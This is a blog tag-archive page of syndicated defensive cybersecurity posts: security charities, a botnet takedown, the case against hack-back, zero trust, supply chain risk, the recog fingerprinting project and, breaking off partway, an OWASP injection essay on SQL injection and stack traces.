Tag Archives: cybersecurity

5 Security Projects That Are Giving Back

Post Syndicated from Jacob Roundy original https://blog.rapid7.com/2022/01/04/5-security-projects-that-are-giving-back/

5 Security Projects That Are Giving Back

Editor’s note: We had planned to publish our Hacky Holidays blog series throughout December 2021 – but then Log4Shell happened, and we dropped everything to focus on this major vulnerability that impacted the entire cybersecurity community worldwide. Now that it’s 2022, we’re feeling in need of some holiday cheer, and we hope you’re still in the spirit of the season, too. Throughout January, we’ll be publishing Hacky Holidays content (with a few tweaks, of course) to give the new year a festive start. So, grab an eggnog latte, line up the carols on Spotify, and let’s pick up where we left off.

While it’s always nice to receive gifts, the holiday season is more about giving – whether you’re buying something nice for the people you love or giving back to the community to help ensure others enjoy the holidays as much as you do.

Giving back is exactly what we’ll be focusing on in today’s Hacky Holidays post, as it’s a theme that truly resonates with those in the security industry. From white-hat hackers to those volunteering their time to make the internet a safer, more inclusive space, we’ve highlighted a few security-related projects that exemplify the spirit of giving back.

1. The Innocent Lives Foundation

The Innocent Lives Foundation aims to identify child predators and help bring them to justice. They do this by leveraging the combined power of the information security community to create tools that unmask anonymous child predators online. Then, using the data from Open Source Intelligence and cutting-edge techniques, they build a path to capturing evidence and then pass on those details to law enforcement for them to recreate.

The Innocent Lives Foundation was first started by Chris Hadnagy, who joined us on an episode of our Security Nation podcast back in 2020. He worked on a few cases at Social-Engineer, LLC, that tracked and captured predators who trafficked and exploited children. When he saw the impact these crimes had on innocent people, he knew he had to do something about it. As a leader in the information security community, he chose to rally a group of security experts and professionals in the social engineering field to address these problems and prevent crimes against future victims.

The foundation is serving endangered children and building a world in which all children can live innocent lives. It’s difficult, emotionally taxing work, but it’s making the world a better place, and it’s the perfect example of giving back.

If you’d like to donate to the cause — it can cost up to $10,000 to produce one file to send to law enforcement, so donations are needed and welcomed — you can do so here. Aside from donating, there are numerous other ways to get involved, including reporting a case, sharing support online, or even volunteering your security skills when applications are opened.

2. No More Ransom

Today, ransomware is rampant. This fact won’t surprise anyone working in the security industry, but many normal users around the world don’t know what ransomware is, how to defend against it, and what to do if they fall victim to a scam. That’s where No More Ransom comes into play.

No More Ransom is an initiative by the National High Tech Crime Unit of the Netherlands’ police, Europol’s European Cybercrime Centre, Kaspersky, and McAfee with a simple mission: to help victims of ransomware retrieve their encrypted data without paying criminals a single dime in the process.

The initiative aims to achieve this mission in two ways:

  1. By compiling a repository of keys and applications that can decrypt data locked by different types of ransomware
  2. By spreading awareness about ransomware and educating the world about prevention methods they can employ in their daily lives

While it’s not always possible to regain access to files encrypted by or systems locked by ransomware, No More Ransom has helped many do exactly that with its repository. And by sharing simple, easy-to-follow cybersecurity advice, the initiative is creating a better informed world of users who understand how to prevent falling victim to ransomware in the first place.

In the 5 years of since its creation, the No More Ransom initiative has:

  • Built a library of 121 free tools
  • Been able to decrypt 151 ransomware families
  • Seen more than 6 million downloads of its tools
  • Prevented $900 million in criminal profit

If you’d like to do your part, the No More Ransom project is always looking for new partners to spread their messaging, so if your organization wants to be more security-minded and give back to the security community in general, consider joining the list of many partners. If you ever fall victim to ransomware, you can also report the crime, which will help identify new types of ransomware and aid future prevention.

3. CIAS Gaming

Established by the University of Texas at San Antonio, the Center for Infrastructure Assurance and Security (CIAS) conducts research into effective ways to engage students with cybersecurity principles through educational gaming — and as part of their work, they’re making cybersecurity relatable, fun, and engaging for kids.

The CIAS Gaming program targets 4 demographics: elementary school, middle school, high school, and colleges and universities. Their mission is to deliver quality research, training, competition, and exercise programs to advance community and organizational cybersecurity capabilities and collaboration.

Currently, the CIAS K-12 Program consists of a few educational tools. These include:

  • A collectible card game and electronic download called Cyber Threat Defender
  • A multiplayer card game for students in third through fifth grade called Cyber Threat Protector
  • A card game for K-2 players with simple design and reinforced concepts called Cyber Threat Guardian
  • An electronic game that teaches techniques for encoding and decoding ciphers to hide or discover information called Project Cipher
  • A testing tool and platform that gives educators a way to create quizzes and introduce students to cybersecurity principles called the Pyramid of Knowledge
  • Interactive activities, like activity sheets and games, introduced to kids by the CyBear cybersecurity mascots

CIAS Gaming is shaping the future of cybersecurity by training the next generation in cybersecurity best practices. You can access and download these tools and games via the links above, or reach out directly to CIAS to learn more about taking part in their competitions or trainings.

4. The Alliance for Securing Democracy

The Alliance for Securing Democracy (ASD) is a nonpartisan initiative housed within the German Marshall Fund of the United States that aims to combat autocratic efforts to undermine and interfere in democratic institutions around the world. The ASD contributes research and analysis on how a range of tools, from cyberattacks and disinformation to support for extremism, are being used to weaken democracies. It also provides public dashboards to expose the effects of online influence networks and the themes being promoted by foreign powers to threaten democratic institutions.

The ASD is independently funded by more than 175 private individuals and small family foundations across the political spectrum. Its team brings together a diverse staff with expertise across industries, including technology and cybersecurity, to provide research, policy recommendations, and even analysis of key issues and threats. It also has a technical advisory committee that features experts on disinformation, cybersecurity, illicit finance, and more.

The ASD has conducted a significant amount of work in the area of cybersecurity. It also has compiled a toolbox to spread awareness on various techniques being used by malign actors. Such tools include:

In a more globalized and digitalized world, the work ASD is doing to protect the strength of free and open societies by shining a light on autocratic tactics, closing vulnerabilities in democratic systems, and imposing costs on those who undermine our institutions is more important than ever. You can reach them at [email protected] or donate to the cause.

5. Code for Social Good

Code for Social Good is a nonprofit organization that partners with other nonprofit companies to provide the technical help they need to achieve their missions for no cost. It’s all about volunteering to promote social good: Code for Social Good has built and fostered a volunteer community that promotes welfare by supporting nonprofits in need. And that global network consists of professionals from across the tech industry, including technical writers, coders, programmers, and more.

Whether you code for fun, experience, social good, or to make a better world, volunteering at Code for Social Good is a great way to give back. Anyone can sign up as a volunteer, and then, you can browse their list of projects. If you find one applicable to your skills, you can apply and wait for contact from the nonprofit. Nonprofits that need help can also post projects on the site and find volunteers to assist them.

As of this writing, Code for Social Good has 138 projects posted across 122 organizations based in 87 countries. The current volunteer community consists of 2,595 volunteers, and they’re always looking for more help. If you have some extra time, why not take a look and see if you can give back by volunteering your technical skills to a nonprofit in need.

Giving back is an important theme of the holidays and one that’s integral to the cybersecurity community. By giving back to the industry, we can encourage a healthy, flourishing practice that spreads awareness, leading to a better, safer, and brighter tomorrow.

If you’re looking for ways to give back, hopefully these examples inspire you to action. If you’d like to stay in the holiday spirit, check out the rest of our Hacky Holidays specials.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Google Shuts Down Glupteba Botnet, Sues Operators

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2021/12/google-shuts-down-glupteba-botnet-sues-operators.html

Google took steps to shut down the Glupteba botnet, at least for now. (The botnet uses the bitcoin blockchain as a backup command-and-control mechanism, making it hard to get rid of it permanently.) So Google is also suing the botnet’s operators.

It’s an interesting strategy. Let’s see if it’s successful.

3 Strategies That Are More Productive Than Hack Back

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/12/07/3-strategies-that-are-more-productive-than-hack-back/

3 Strategies That Are More Productive Than Hack Back

2021 has been a banner year in terms of the frequency and diversity of cybersecurity breaking news events, with ransomware being the clear headline-winner. While the DarkSide group (now, in theory, retired) may have captured the spotlight early in the year due to the Colonial Pipeline attack, REvil — the ransomware-as-a-service group that helped enable the devastating Kaseya mass ransomware attack in July — made recent headlines as they were summarily shuttered by the FBI in conjunction with Cyber Command, the Secret Service, and like-minded countries.

This was a well-executed response by government agencies with the proper tools and authority to accomplish a commendable mission. While private-sector entities may have participated in this effort, they will have done so through direct government engagement and under the same oversight.

More recently, the LockBit and Marketo ransomware groups suffered distributed denial of service (DDoS) attacks, as our colleagues at IntSights reported, in retaliation for their campaigns: one targeting a large US firm, and another impacting a US government entity.

The former of these two DDoS attacks falls into a category known colloquially as “hack back.” Our own Jen Ellis did a deep dive on hacking back earlier this year and defined the practice as non-government organizations taking intrusive action against a cyber attacker on technical assets or systems not owned or leased by the person taking action or their client.”

The thorny path of hacking back

Hack back, as used by non-government entities, is problematic for many reasons, including:

  • Group attribution is hard, and most organizational cybersecurity teams are ill-equipped to conduct sufficiently thorough research to gain a high enough level of accuracy to ensure they know who the source really is/was.
  • Infrastructure used to conduct attacks is often compromised assets of legitimate organizations, and taking direct action against them can cause real harm to other innocent victims.
  • It is very likely illegal in most jurisdictions.

As our IntSights colleagues noted, the LockBit and Marketo DDoS hack-back attacks did take the groups offline for weeks and temporarily halted ransomware campaigns associated with their infrastructure. But the groups are both back online, and they — along with other groups — appear to be going after less problematic targets, a (hopefully) unexpected, unintended, but very real consequence of these types of cyber vigilante actions.

Choosing a more productive path

While the temptation may be strong to inflict righteous wrath upon those who have infiltrated and victimized your organization, there are ways to channel your reactions into active defense strategies that can help you regain a sense of control, waste attackers’ time (a precious resource for them), contribute to the greater good, and help change the economics of attacks enough to effect real change. Here are 3 possible alternative routes to consider.

1. Improve infrastructure visibility

You can only effect change in environments that have been instrumented for measurement. While this is true for cybersecurity defense in general, it is paramount if you want to take the step into contributing to the community efforts to reduce the levels and impacts of cybercrime (more on that later).

You have to know what assets are in play, where they are, the state they are in, and the activity happening on and between them. If you aren’t outfitted for that now, thankfully it’s the holiday season, and you still have time to get your shopping list to Santa (a.k.a. your CISO/CFO). If you’re strapped for cash, open-source tools and communities such as MISP provide a great foundation to build upon.

2. Invest in information sharing and analysis

There are times when it feels like we may be helpless in the face of so many adversaries and the daily onslaught of attacks. However, we protectors have communities and resources available that can help us all become safer and more resilient. If your organization isn’t part of at least one information sharing and analysis organization (ISAO), that is your first step into both regaining a sense of control and giving you and your cybersecurity teams active, positive steps you can take on a daily basis to secure our entire ecosystem. An added incentive to join one or more these groups is that many of them gain real-time cross-vendor insights via the Cyber Threat Alliance, a nonprofit that is truly leveling up protectors across the globe.

These groups share tools, techniques, and intelligence that enable you to level up your organization’s defenses and can help guide you through the adoption of cutting-edge, science-driven frameworks such as MITRE’s ATT&CK and D3FEND.

3. Consider the benefits of deception technology

“Oh! What a tangled web we weave when first we practice to deceive!”

Sir Walter Scott may not have had us protectors in mind when he penned that line, but it is a vital component of modern organizational cyber defenses. Deception technology can provide rich intelligence on attacker behavior (which you can share with the aforementioned ISAOs!), keep attackers in a playground safe from your real assets, and — perhaps most importantly — waste their time.

While we have some thoughts and offerings in the cyber deception space — and have tapped into the knowledge of other experts in the field — there are plenty of open-source solutions you can dig into, or create your own! Some of the best innovations come from organizations’ security teams.

Remember: You are not alone

Being a victim of a cyberattack of any magnitude is something we all hope to help our organizations avoid. Even if you’re a single-person “team” overseeing cybersecurity for your entire organization, you don’t have to go it alone, and you definitely do not have to give in to the thought of hacking back to “get even” with your adversaries.

As we’ve noted, there are many organizations who are there to help you channel your energies into building solid defenses and intelligence gathering practices to help you and the rest of us be safer and more resilient. Let’s leave the hacking back to the professionals we’ve tasked with legal enforcement and focus on protecting what’s in our purview.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Intel Is Maintaining Legacy Technology for Security Research

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2021/11/intel-is-maintaining-legacy-technology-for-security-research.html

Interesting:

Intel’s issue reflects a wider concern: Legacy technology can introduce cybersecurity weaknesses. Tech makers constantly improve their products to take advantage of speed and power increases, but customers don’t always upgrade at the same pace. This creates a long tail of old products that remain in widespread use, vulnerable to attacks.

Intel’s answer to this conundrum was to create a warehouse and laboratory in Costa Rica, where the company already had a research-and-development lab, to store the breadth of its technology and make the devices available for remote testing. After planning began in mid-2018, the Long-Term Retention Lab was up and running in the second half of 2019.

The warehouse stores around 3,000 pieces of hardware and software, going back about a decade. Intel plans to expand next year, nearly doubling the space to 27,000 square feet from 14,000, allowing the facility to house 6,000 pieces of computer equipment.

Intel engineers can request a specific machine in a configuration of their choice. It is then assembled by a technician and accessible through cloud services. The lab runs 24 hours a day, seven days a week, typically with about 25 engineers working any given shift.

Slashdot thread.

MacOS Zero-Day Used against Hong Kong Activists

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2021/11/macos-zero-day-used-against-hong-kong-activists.html

Google researchers discovered a MacOS zero-day exploit being used against Hong Kong activists. It was a “watering hole” attack, which means the malware was hidden in a legitimate website. Users visiting that website would get infected.

From an article:

Google’s researchers were able to trigger the exploits and study them by visiting the websites compromised by the hackers. The sites served both iOS and MacOS exploit chains, but the researchers were only able to retrieve the MacOS one. The zero-day exploit was similar to another in-the-wild vulnerability analyzed by another Google researcher in the past, according to the report.

In addition, the zero-day exploit used in this hacking campaign is “identical” to an exploit previously found by cybersecurity research group Pangu Lab, Huntley said. Pangu Lab’s researchers presented the exploit at a security conference in China in April of this year, a few months before hackers used it against Hong Kong users.

The exploit was discovered in August. Apple patched the vulnerability in September. China is, of course, the obvious suspect, given the victims.

EDITED TO ADD (11/15): Another story.

2022 Planning: Straight Talk on Zero Trust

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/10/29/2022-planning-straight-talk-on-zero-trust/

2022 Planning: Straight Talk on Zero Trust

“Zero trust” is increasingly being heralded as the ultimate solution for organizational cyber safety and resilience — but what does it really mean, and how can you assess if it has a practical place in your organization’s cybersecurity strategy for 2022?

In this post, we’ll answer those questions by taking a look at what problems the concept of zero trust is trying to solve, what types of people, process, and technology are necessary for successful zero-trust implementations, and what mindset changes your organization many need to make to be fully ready for this new defender paradigm in the year to come.

What is zero trust?

At the core, the concept of zero trust is just what those two words suggest: every human, endpoint, mobile device, server, network component, network connection, application workload, business process, and flow of data is inherently untrusted. As such, they each must be authenticated and authorized continuously as each transaction is performed, and all actions must be auditable in real time and after the fact. Zero trust is a living system, with all access rules under continuous review and modification, and all allowed transactions under constant re-inspection.

What problems is zero trust trying to solve?

Zero trust aims to finally shatter the mythical concept of “castle and moat” (i.e., assuming individuals and components on the intranet are inherently safe) and fully realize the power of least privilege — the concept that individuals and components should only have the most minimal access necessary to perform a required action. We can see it better through the lens of a practical example, such as one of the most typical ransomware attack scenarios: an attacker gains initial access to a corporate network through simple VPN credentials.

In most current implementations, a VPN has one interface that sits on the internet and one that sits on the intranet. Unfortunately, most VPNs are still accessed via simple credentials. Once authenticated, an attacker impersonating a user represented by those credentials has general network access. They’re free to replay the credentials (or attempt to use various tools to obtain other credentials or tokens) on any other connected system until they gain access to one where they can elevate privileges and begin exfiltrating data and corrupting the integrity of filesystems and databases.

In a zero-trust environment, the user identified by a set of credentials would also need a second authentication factor. The entire authentication attempt would be risk-assessed in real time to see if the individual’s connection is, say, in an allowed geofence and that the access time is within the usual operating mode of that person (and that the individual does not already have an established session).

Even if an attacker managed to obtain multi-factor codes — for example, SMS 2-factor authentication (2FA) has weaknesses but may be the only 2FA an organization can afford to implement — they may achieve a successful connection but would not have general access to all intranet systems and services. In fact, the VPN connection would only grant them access to a defined set of applications or services. If the attacker makes any attempt to try a network scan or perform other noisy network actions, monitoring systems would be alerted, and that individual and connection would be quarantined for investigation.

Each transaction has a defined set of authentication, authorization, and behavior auditing rules that continually let the overarching zero-trust system ensure the safety of the interactions.

What do you need to move to zero trust?

While this section could fill an entire book, we’ll work under the assumption that you are just beginning your zero-trust journey. To make this initial move, you’ll need to pick at least one business process or service access scenario to move to this new model.

Every component and individual that is responsible for enabling that business process or service must be identified and the architecture fully documented. At this point in the process, you may find that you need to reimagine the architecture to ensure you have the necessary control and audit points in place. You’ll then need authentication, authorization, auditing, risk-assessing, and enforcement solutions to support the access decisions at each connection in the process or service. Finally, you’ll need staffing to support creation and maintenance of the rules that are enforced, along with traditional patching, mitigation, and configuration management enforcement activities.

Then, lather, rinse, and repeat for all other processes and services. In other words, you need quite a bit.

However, you should not — and, in reality, cannot — move every business process and service to zero trust all at once. Once you’ve assessed that initial service, begin the groundwork of acquiring the necessary tools and hiring the necessary staff to ensure a successful outcome. Then, transition that initial service over to zero trust when funding and time are on your side, and leave it in place for a while as you evaluate what it takes to maintain safety and resilience. Adjust your tooling and staffing plans accordingly, and get to work on the remaining processes or services.

Thankfully, you may have many of these components and personnel in place within existing security and compliance solutions and processes, and you can finally employ more of your existing investments’ capabilities than the 5 to 15% that most organizations generally utilize.

Adopting the zero-trust mindset

One of the biggest mindset challenges to overcome when introducing zero trust into your organization is the fear that the constraints the model imposes will reduce productivity and hamper creativity. These fears can be overcome with the right framing of zero trust.

Start by performing a scenario-based risk assessment of a given business process. Do this with the business process owner(s) or stakeholder(s), and ensure you enumerate what actions threat actors could take at each transaction point in the process, ideally with some measurement to the costs due to loss of safety and resilience.

Then, show how each threat is reduced or eliminated with a zero-trust implementation of the same business process, and note how new processes — developed with a zero-trust mindset at the start — will have reduced implementation costs, be far more safe and resilient, and be much easier to enhance over time as they will have been established on a solid foundation.

Zero trust is not some sticker on some point solution’s brochure. It is a fundamental change to how your organization approaches access, authentication, authorization, auditing, and continuous monitoring. You won’t adopt zero trust overnight, but you can begin that journey today, knowing that you’re on the path to helping your organization protect itself from tomorrow’s threats, as well as today’s.

Want more 2022 planning tips from industry experts?

Sign up for our webinar series

Three ways to improve your cybersecurity awareness program

Post Syndicated from Stephen Schmidt original https://aws.amazon.com/blogs/security/three-ways-to-improve-your-cybersecurity-awareness-program/

Raising the bar on cybersecurity starts with education. That’s why we announced in August that Amazon is making its internal Cybersecurity Awareness Training Program available to businesses and individuals for free starting this month. This is the same annual training we provide our employees to help them better understand and anticipate potential cybersecurity risks. The training program will include a getting started guide to help you implement a cybersecurity awareness training program at your organization. It’s aligned with NIST SP 800-53rev4, ISO 27001, K-ISMS, RSEFT, IRAP, OSPAR, and MCTS.

I also want to share a few key learnings for how to implement effective cybersecurity training programs that might be helpful as you develop your own training program:

  1. Be sure to articulate personal value. As humans, we have an evolved sense of physical risk that has developed over thousands of years. Our bodies respond when we sense danger, heightening our senses and getting us ready to run or fight. We have a far less developed sense of cybersecurity risk. Your vision doesn’t sharpen when you assign the wrong permissions to a resource, for example. It can be hard to describe the impact of cybersecurity, but if you keep the message personal, it engages parts of the brain that are tied to deep emotional triggers in memory. When we describe how learning a behavior—like discerning when an email might be phishing—can protect your family, your child’s college fund, or your retirement fund, it becomes more apparent why cybersecurity matters.
  2. Be inclusive. Humans are best at learning when they share a lived experience with their educators so they can make authentic connections to their daily lives. That’s why inclusion in cybersecurity training is a must. But that only happens by investing in a cybersecurity awareness team that includes people with different backgrounds, so they can provide insight into different approaches that will resonate with diverse populations. People from different cultures, backgrounds, and age cohorts can provide insight into culturally specific attack patterns as well as how to train for them. For example, for social engineering in hierarchical cultures, bad actors often spoof authority figures, and for individualistic cultures, they play to the target’s knowledge and importance, and give compliments. And don’t forget to make everything you do accessible for people with varying disability experiences, because everyone deserves the same high-quality training experience. The more you connect with people, the more they internalize your message and provide valuable feedback. Diversity and inclusion breeds better cybersecurity.
  3. Weave it into workflows. Training takes investment. You have to make time for it in your day. We all understand that as part of a workforce we have to do it, but in addition to compliance training, you should be providing just-in-time reminders and challenges to complete. Try working with tooling teams to display messaging when critical tasks are being completed. Make training short and concise—3 minutes at most—so that people can make time for it in their day.

Cybersecurity training isn’t just a once-per-year exercise. Find ways to weave it into the daily lives of your workforce, and you’ll be helping them protect not only your company, but themselves and their loved ones as well.

Get started by going to learnsecurity.amazon.com and take the Cybersecurity Awareness training.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

Steve Schmidt

Steve is Vice President and Chief Information Security Officer for AWS. His duties include leading product design, management, and engineering development efforts focused on bringing the competitive, economic, and security benefits of cloud computing to business and government customers. Prior to AWS, he had an extensive career at the Federal Bureau of Investigation, where he served as a senior executive and section chief. He currently holds 11 patents in the field of cloud security architecture. Follow Steve on Twitter.

Recog: Data Rules Everything Around Me

Post Syndicated from Matthew Kienow original https://blog.rapid7.com/2021/10/25/recog-data-rules-everything-around-me/

Recog: Data Rules Everything Around Me

The recog project — a recognition framework used to identify products, operating systems, and hardware through matching network probe data against its extensive fingerprint collection — has been around for many years. In the beginning, Rapid7 used it internally as part of the Nexpose vulnerability scanner. Then, in 2014, the fingerprints and Ruby implementation of the framework were released as open-source software, in keeping with Rapid7’s continued commitment to open-source initiatives. Later, in 2018, we released a Java implementation of the framework, recog-java, as open-source, and later that year, Rumble released a Go implementation of the framework, recog-go.

Still, there remained one problem to solve with the framework: balancing the roles of content and code. In recog, three different language implementations, with varying levels of feature parity, all support the most basic requirements of processing the XML fingerprint data, matching input data against the fingerprint collection and returning a collection of enrichment parameters, both static and dynamic. The value of these implementations (the code) isn’t fully realized without being combined with the fingerprint data (the content).

However, the Ruby implementation is clearly an outlier, since it stores the framework code alongside the fingerprint data. The problem of content versus code would not be as great of a concern if there were only one language implementation — but instead, we have three, and there have been recent conversations about the possibility of a fourth!

Solving the content vs. code conundrum

Carving off the Ruby implementation from the existing repository would leave the content while creating a consistent structure between all language implementations. Since this act would also remove the fingerprint testing performed by the Ruby implementation, it provides an opportunity to assess fingerprint verification across all recog implementations.

In the past, there were delayed reports of issues discovered between the different regular expression engines used in other language implementations after fingerprint pull requests were merged. Prevention required either the contributor or maintainer to verify fingerprint changes against the Java and Go implementations, and while the Go implementation has a verify tool, this was missing from Java.

In order to facilitate future content separation, the Java implementation would need a fingerprint verification tool. This was not as straightforward, since the Java library neither retained the data parsed from the fingerprint examples nor interpolated all parameters. But after some modifications to the `parse` and `match` methods, I was able to remove these impediments. I created an implementation of the recog fingerprint verification tool that matches both the features and behaviors of the Ruby tool as a new module within the Java implementation.

The final step is automation, which will allow contributors and maintainers to efficiently process fingerprint content changes and focus on the correctness of the regular expressions and enrichment parameters. This helps alleviate concerns around any issues with one or more of the language implementations.

I created a new GitHub Actions verify workflow for this purpose. The initial workflow simply runs the `recog_standardize` tool to ensure each fingerprint asserts known identifiers. The latest update to the workflow adds jobs, in which each language implementation’s fingerprint verification tool runs against any updated fingerprint XML files. The verify workflow provides necessary feedback to contributors and maintainers, improving the content modification process.

Recog: Data Rules Everything Around Me
View of successful verify workflow

These steps are the first of more to come that will aid users, contributors, and maintainers of the recog recognition framework project. Recog content and language implementations form a component within other projects in the information security domain.

Recog is often used as a component in large projects, and we have plans for additional tooling to make the framework more directly usable for end users. As recog develops and grows, the Rapid7 team looks forward to watching projects built on top of it develop and grow.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

2022 Planning: Designing Effective Strategies to Manage Supply Chain Risk

Post Syndicated from Jesse Mack original https://blog.rapid7.com/2021/10/22/2022-planning-designing-effective-strategies-to-manage-supply-chain-risk/

2022 Planning: Designing Effective Strategies to Manage Supply Chain Risk

Supply chains are on everyone’s mind right now — from consumer-tech bottlenecks to talks of holiday-season toy shortages. Meanwhile, cyberattacks targeting elements of the supply chain have become increasingly common and impactful — making this area of security a top priority as organizations ensure their digital defense plans are ready for 2022.

Here’s the thing, though: Supply chains are enormously complex, and securing all endpoints in your partner ecosystem can be a herculean challenge.

On Thursday, October 21, 2 members of Rapid7’s Research team — Erick Galinkin, Principal Artificial Intelligence Researcher, and Bob Rudis, Chief Security Data Scientist — sat down to get the perspectives of 2 industry panelists: Loren Morgan, VP of Global IT Operations, Infrastructure and Delivery at Owens & Minor; and Dan Walsh, CISO at VillageMD. They discussed the dynamics of supply chain security, how they think about vendor risk, and what they’re doing to tackle these challenges at their organizations.



2022 Planning: Designing Effective Strategies to Manage Supply Chain Risk

Head to our 2022 Planning series page for more – full replay available soon!

What is supply chain risk, anyway?

The conversation kicked off with a foundational question: What do we mean when we talk about supply chain risk? The answer here is particularly important, given how sprawling and multivariate modern-day supply chains have become.

Dan defined the concept as “the risk inherent in the way we deliver business results.” For example, you might be working with a solutions provider whose software relies on open-source libraries, which could introduce vulnerabilities. The impact can be particularly high when a vendor your organization relies on in a strategic, business-critical capacity experiences a security issue.

Bob noted that the nature of supply chain risk hasn’t fundamentally changed in the past decade-plus — what’s different today is the scale of the problem. That includes not only the size of supply chains themselves but also the magnitude of the risks, as attacks increase in frequency and scope.

For Loren, acknowledging and acting on these growing risks means asking a central question: How are our partners investing in their own defenses? And further, how can we get visibility into the actions our vendors are taking to counteract their vulnerabilities?

Dropping the SBOM

Erick pointed out that one of the more practical ways of achieving visibility with technology vendors is the software bill of materials (SBOM). An SBOM is a list of all the libraries, dependencies, third-party modules, and other components that a provider brings into their software product.

“It’s like an ingredient list on a package of food,” Dan said. Because of the level of detail it provides, an SBOM can offer much greater insight into vulnerabilities than a compliance certification like SOC2 would.

“Ultimately, from our vendors, what we’re looking for is trust,” Dan noted. The visibility an SBOM provides can go a long way toward achieving that trust.

But not all vendors might jump at the request to produce an SBOM. And how do you know the SBOM is fully accurate and complete? The cloud complicates the picture considerably, too.

“A SaaSBOM is a lot trickier,” Erick noted. With fully cloud-based applications, verifying what’s in an SBOM becomes a much tougher task. And cloud misconfigurations have become an increasingly prominent source of vulnerabilities — especially as today’s end users are leveraging an array of easy-to-use SaaS tools and browser extensions, multiplying the potential points of risk.

Dan suggested that in the future, the industry might move to an ABOM — a highly memorable shorthand for “application bill of materials” — which would include all source code, infrastructure, and other key components that make an application tick. This would help provide a deeper level of visibility and trust when evaluating the risks inherent in the ever-growing lists of applications that enterprises rely on in today’s cloud-first technology ecosystem.

Taking action

So, what key concepts and practices should you implement as you put together a 2022 cybersecurity plan that factors in supply chain risk? Here are a few suggestions our panel discussed.​

  • Invest in talent: “Find somebody who’s been there, done that,” Loren urged. Having experienced people on board who can stand up a third-party risk assessment program and handle everything it entails — from interviewing vendors to reviewing SBOMs and other artifacts — can help make this complex task more manageable.
  • Tailor scrutiny by vendor: Not all third parties carry the same level of risk, primarily because of the type of data they access. Accordingly, your vetting process should reflect the vendor you’re evaluating and the specific level of risk associated with them. This will save time and energy when evaluating partners who don’t introduce as much risk and ensure the higher-risk vendors get the appropriate level of scrutiny. In Dan’s work at VillageMD, for example, private health information (PHI) is the most critical type of data that needs the highest security, so vendors handling PHI need to be more rigorously vetted.
  • Think about your internal supply chain: As Bob pointed out, virtually all organizations today are doing some amount of development — whether they’re a full-on software provider or simply building their own website. That means we’re all susceptible to introducing the same kinds of vulnerabilities that our vendors might, impacting not just our own security but our customers’ as well. For example, what happens if a developer introduces a vulnerable component into your product’s source code? Or what if your DevOps team introduced a misconfiguration? Does your security operations team have a clear way to know that? Be sure to put guardrails in place by establishing a foundational software development life cycle (SDLC) process for all areas where you’re doing development.
  • Identify your no-go’s: Each of our panelists also had a few things they considered make-or-break when it comes to vendor assessments — requests that, if not met, would sink any conversation with a potential partner. For Bob, it was a vendor’s ability to supply a penetration test with complete findings. Loren echoed this, and also said he insists that partners share their data handling processes. For Dan, it was the right to audit the vendor and their software annually. Identify what these no-go’s are for your organization, and build them into vendor conversations and contracts.

Ultimately, holding your vendors accountable is the most important step you can take in the effort to build a secure supply chain.

“It’s incumbent on consumers to hold their vendors’ feet to the fire and say, ‘How are you doing this?'” Erick commented. Demand real data and clear documentation rather than vague responses. When we do this for our own organizations, we make each other safer by demanding more of vendors and raising the bar for security across the supply chain.

Stay tuned for the next 2 installments in our 2022 Planning webcast series! Next up, we’ll be discussing the path to effective cybersecurity maturity and how to factor that journey into your 2022 cybersecurity program. Sign up today!

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker’s Perspective

Post Syndicated from Julius Callahan original https://blog.rapid7.com/2021/10/19/owasp-top-10-deep-dive-injection-and-stack-traces-from-a-hackers-perspective/

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker's Perspective

In case you missed it, injection claimed the number 3 spot in OWASP’s updated Top 10 application security risks for 2021. Today, I’m going to highlight some of the reasons why injection is such a formidable threat, despite it falling two spaces from the number 1 slot on OWASP’s 2017 list.

But before we begin, I’d like to start off with a short but true story of how I got here.

The 3 letters that changed my life

A few decades ago, back in my web development days, I was working on a community-type website. This was post-MySpace and pre-Facebook — so yeah, that long ago. Back then, CMSs like WordPress and Joomla were just taking off but still all the rage. So with the LAMP stack complete and the CMS deployed, it was time to install the community component for the website. There weren’t many third-party solutions available back then — so when I found a component that offered individual profiles, message boards, picture uploads, AND a chat, I jumped on it.

A few days into getting the website configured and running, I noticed another admin user in the DB. My first thought was, “I don’t remember creating a second admin account,” and my second thought was, “Oh no, I’ve been hacked”.

Turns out the latter was true. Not even a week into building the website, it was hacked.

Now, any sane developer would have immediately torn down the server, scrambled for backups, searched for a different hosting provider, and started over. But not me — I needed to know how this happened. So I went straight to the horse’s mouth: I asked the person who hacked my site.

Remember when I mentioned the community component had a chat function? I used it to send the hacker a message: “How did you get in here?” Sure enough, a day later I received a reply of 3 simple letters that I will never forget: “SQL.”

From that day on, I knew what I wanted to do for the rest of my life. So to the hacker, whoever and wherever you are out there, thank you.

Which brings me to OWASP’s new top 10 for 2021 and our focus for this post: A03, aka injection.

What is injection, and how are attackers using it today?

I like to think of injection as a family of vulnerabilities. It can include everything from SQL and XSS — the rock stars of injection — to improper control of resource identifiers, which basically cover anything with the ability to significantly change the flow of a given process. In some cases, injection can even include the execution of arbitrary code. It should come as no surprise, then, that there are currently over 32 mapped CWEs for injection.

Many things have changed since my web developer days, but a lot has stayed the same. One would like to think the days of SQL injection, or any injection for that matter, are long gone. Sadly, that isn’t the case. While injection has been dethroned from first to third place on the new OWASP 2021 Top 10 list, it’s still very much alive in today’s web applications.

The good news is that the majority of injection issues I see today are a bit more benign than those from the past. They tend to be less likely to yield the fruitful database dumps, auth bypass, or occasional defacement we’ve all come to know so well. Don’t get me wrong — there are plenty of apps out there that are eager to give up their sensitive data because of unexpected and improperly handled input, though it does seem those numbers are on the decline. But for the apps that are a little more reluctant to share sensitive information via injection, they do so in another way: stack traces.

Stack traces sometimes do stack up

Developers have a love-hate relationship with stack traces. On the one hand, they’re helpful in spotting errors in the code they write. On the other hand, they point out the errors in the code they write.

To those that are new to the phrase “stack trace,” it refers to an error in the code that was last run by the application before it crashed. Basically, when something happens that the code isn’t prepared to handle, it spits out a bunch of technical information onto the screen so the developer can spot the issue and correct it. Stack traces have been around since the dawn of programming, and they remain a popular method of debugging an application.

